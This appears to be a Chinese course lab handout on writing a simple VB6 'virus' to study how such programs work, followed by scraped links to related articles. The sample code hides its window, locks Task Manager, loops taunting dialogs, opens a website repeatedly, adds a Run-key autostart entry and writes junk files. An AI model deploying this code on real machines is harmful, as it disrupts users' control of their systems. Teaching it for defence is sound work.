VBS病毒实验
实验目的
探讨VBS病毒实现原理,为更好的深入防御和查杀病毒
实验原理
VBS病毒发生机理
实验内容
编写简单VBS病毒,并实现功能,学习VBS病毒发生机理
实验环境描述
VPC1(虚拟PC) 操作系统类型:windows xp,网络接口:eth0
VPC1连接要求 与实验网络相连
软件描述 VB6.0
实验步骤
1.学生单击实验进入目标主机,输入用户名和密码:xp 123456(第一次启动目标主机,还需要安装java空间),如图所示:

点击桌面上Visual Basic 6.0精简版——Visual Basic 6.0精简版,打开VB 6.0,如教材图2所示

进入VB6.0可看到如教材所示“新建工程”窗口





1 使用VB6.0 创建一个新的工程,在FORM1 的属性中,找到Visible,修改它的属性为False
这样运行程序时就看不到窗口了
2 在FORM1 的代码窗口中添加代码如下:
Private Sub Form_Load()
Dim say(9) As String
'定义了一个数组,可以保存10 个字符串数据,病毒作者往往使用数组存储调侃语句,捉弄
用户
Dim over As Boolean, i As Integer
over = False
say(0) = "真的好爱你哦!这不,为了摘朵玫瑰花@>+++---给你,竟让看花的老头追了9 条
街!"
'这里就是病毒作者的调侃语句
say(1) = "你以为你是谁?还不是中了病毒没招~~"
say(2) = "除非你承认错误,否则本病毒就是不给你关闭~"
'这里还可以设置很多语句
say(9) = "谁让你不好好学习计算机安全知识,中了病毒傻眼了吧~"
Open Environ("windir") + "\system32\taskmgr.exe" for Input Lock Read As #1
'使用open 语句打开任务管理器时,用户无法调用任务管理器关闭病毒进程
'其中的lock read 实现了锁定读操作
Do while over = False
'---------------------------------1:弹出模态窗口
MsgBox say(i), vbCritical, "病毒警告!"
'显示一个模态窗口,导致无法用户操作其他窗口
i = i + 1
'---------------------------------2:循环打开病毒网站
Shell "explorer.exe http://g.cn", vbNormalFocus
'---------------------------------3:写入注册表实现自启动
Set my = CreateObject("WScript.Shell") '创建一个WScript 对象
my.regWrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\test",
App.Path + "\" + App.EXEName + ".exe", "REG_SZ"
'---------------------------------4:写入垃圾信息
Dim x As Integer
Randomize
x = Rnd(1000)
On Error Resume Next
Open "c:\virus_" + CStr(x) + ".txt" for Output As #1 '打开磁盘文件
Print #1, say(i) '写入垃圾信息
Close
'---------------------------------OVER
if i = 10 Then over = True ' 这里只循环了10 次,黑客可能会循环无限次
Loop
Close
End Sub
3 生产程序后,执行病毒,会发现该病毒实现了弹出一些警告对话框及一些站点,同时会写入注册表实现病毒耳朵自启动,最后还会向磁盘写入一些垃圾信息。

jpg)


我们还会发现,病毒实现了自启动,运行,输入Regedit 打开注册表
我们在下图中的位置会发现,病毒在 Run 中填写了test,其键值指向我们病毒的程序


还会生成一些垃圾文件

VBS病毒实验的更多相关文章
- crack.vbs病毒,优盘里所有文件全变成快捷方式
去了一趟学校打印店,用优盘copy打印了点东西,当时在打印店电脑里打开优盘的时候里面就变成了快捷方式,但没怎么在意.回来之后在自己电脑上居然也这样了.网上一搜是中了crack.vbs病毒了.格式化优盘 ...
- autorun.vbs病毒的清除办法
症状:计算机里面出现一堆autorun为文件名称的文件,删除后出现找不到autorun.vbs的提示.我就打开当中的一个文件:Autorun.bat,内容例如以下: @echo off //不显示系 ...
- VBS脚本病毒特点及如何防范3(转)
5.Vbs病毒生产机的原理介绍 所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件.在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单. 脚本语言是解释执行的.不需要编译,程序 ...
- Vbs脚本经典教材(转)
Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...
- VBS教程
Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子 ...
- [转帖]VBS 教程
VBS教程 http://www.cnblogs.com/veggiegfei/p/5943260.html 原作者真牛B 网上找了好多 没找到 没想到整理的这么好, 转来学习一下 改天打印出来. V ...
- Vbs 脚本编程简明教程之一
—为什么要使用 Vbs ? 在 Windows 中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改名.删除,也许你每天启动 计算机第一件 ...
- Vbs脚本经典教材
转载:http://www.cnblogs.com/BeyondTechnology/archive/2011/01/10/1932440.html Vbs脚本经典教材(最全的资料还是MSDN) —为 ...
- JS七种加密解密方法
http://www.cnblogs.com/mq0036/p/4983858.html HTML或JS加密解密 本文一共介绍了七种方法: 一:最简单的加密解密 二:转义字符"\&q ...
随机推荐
- Vue 动态设置图片路径
大多数情况vue项目中组件是需要相互引用的,父组件引用子组件,子组件引用父组件,已达到组件重用的目的 本次记录的是父组件引用子组件,img标签定义在多个子组件中,不同或相同的父组件引用同一个子 ...
- 如何使用Github搭建自己的博客
1.前期准备 sudo apt-get install npm sudo npm install hexo -g 首先使用如下命令创建项目,name是你要创建的博客的名字: hexo init {na ...
- IPX下载安装
IPX下载安装 该软件需要事先安装LAPACK与openblas,相关安装教程请点击链接. 1.下载 mkdir IPX cd IPX git clone https://github.com/ERG ...
- 【pwn】V&N2020 公开赛 simpleHeap
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...
- linux中awk命令(最全面秒懂)
目录 一:linux中awk命令 1.awk命令简介 2.awk作用 3.awk的语法格式 4.解析awk使用方法 5.参数 6.awk的生命周期 二:awk中的预定义变量 三:awk运行处理规则的执 ...
- Python:使用pyinstaller打包含有gettext locales语言环境的项目
问题 如何使用 pyinstaller 打包使用了 gettext 本地化的项目,最终只生成一个 exe 文件 起因 最近在用 pyhton 做一个图片处理的小工具,顺便接触了一下 gettext,用 ...
- Ubuntu Typora安装
Ubuntn Typora安装 现在好像开始收费了,网上给的方法都是从官网下载的,感觉迟早不能用,因为要钱了 官网好像给的安装方法如下,可是好像不太好用 # or run: # sudo apt-ke ...
- Redis设计与实现
简述Redis设计与实现 Redis是一个高性能的key-value的非关系型数据库,Redis是运行在内存中的一种数据库,但是它也可以持久化到磁盘中,Redis的实现有着更为复杂的数据结构并且提供对 ...
- java的装箱和拆箱详解
========================================================================================= 在我看来,学习jav ...
- NoSuchMethodError错误
发生原因: 一个项目中包含有相同名字,但内容不同的包 解决办法:删除其中暂时不用的包 后记:如果不知道哪一个包是多余的,直接用IDE查找:找到该类,然后将该包进行反编译,再次导入该项目,再找到该类,出 ...